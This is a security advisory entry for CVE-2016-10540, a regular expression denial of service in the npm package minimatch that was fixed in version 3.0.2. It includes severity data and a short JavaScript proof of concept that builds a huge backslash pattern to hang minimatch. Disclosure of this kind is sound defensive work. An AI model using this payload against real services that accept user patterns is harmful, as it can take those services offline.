GHSA-hxm2-r34f-qmc5

Source

https://github.com/advisories/GHSA-hxm2-r34f-qmc5

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/10/GHSA-hxm2-r34f-qmc5/GHSA-hxm2-r34f-qmc5.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-hxm2-r34f-qmc5

Aliases

CVE-2016-10540

Published

2018-10-09T00:40:41Z

Modified

2023-11-08T03:58:11Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator

Summary

Regular Expression Denial of Service in minimatch

Details

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

Database specific

{
    "cwe_ids":  [
        "CWE-400"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2020-06-16T21:41:28Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}

References

Affected packages

npm / minimatch

Package

Name: minimatch; View open source insights on deps.dev
Purl: pkg:npm/minimatch

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

3.0.2

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/10/GHSA-hxm2-r34f-qmc5/GHSA-hxm2-r34f-qmc5.json"